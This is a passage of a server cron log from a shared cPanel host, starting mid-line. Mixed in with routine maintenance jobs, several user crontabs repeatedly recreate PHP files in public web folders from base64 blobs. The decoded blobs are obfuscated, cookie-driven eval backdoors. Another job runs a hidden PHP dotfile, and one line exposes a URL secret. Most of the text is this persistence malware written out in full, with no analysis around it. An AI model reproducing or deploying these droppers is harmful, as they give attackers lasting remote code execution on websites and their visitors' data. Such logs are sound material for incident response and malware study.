keVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:50:01 medusa CROND[3602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 15:51:01 medusa CROND[19732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:51:01 medusa CROND[19780]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 15:51:01 medusa CROND[19897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:51:01 medusa CROND[19985]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:51:01 medusa CROND[19986]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:51:01 medusa CROND[19987]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 15:51:01 medusa CROND[19988]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:51:01 medusa CROND[19990]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:51:01 medusa CROND[19993]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:51:01 medusa CROND[20003]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:51:01 medusa CROND[20007]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 15:51:01 medusa CROND[20008]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:51:01 medusa CROND[20010]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:51:01 medusa CROND[20013]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 15:51:01 medusa CROND[20011]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:52:01 medusa CROND[7721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:52:01 medusa CROND[7726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:52:01 medusa CROND[7758]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:52:01 medusa CROND[7761]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:52:01 medusa CROND[7762]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:52:01 medusa CROND[7763]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 15:52:01 medusa CROND[7764]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:52:01 medusa CROND[7766]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:52:01 medusa CROND[7767]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:52:01 medusa CROND[7768]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:52:01 medusa CROND[7774]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:52:01 medusa CROND[7781]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:52:01 medusa CROND[7791]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:53:02 medusa CROND[26520]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 15:53:02 medusa CROND[26521]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:53:02 medusa CROND[26522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:53:02 medusa CROND[26523]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:53:02 medusa CROND[26524]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
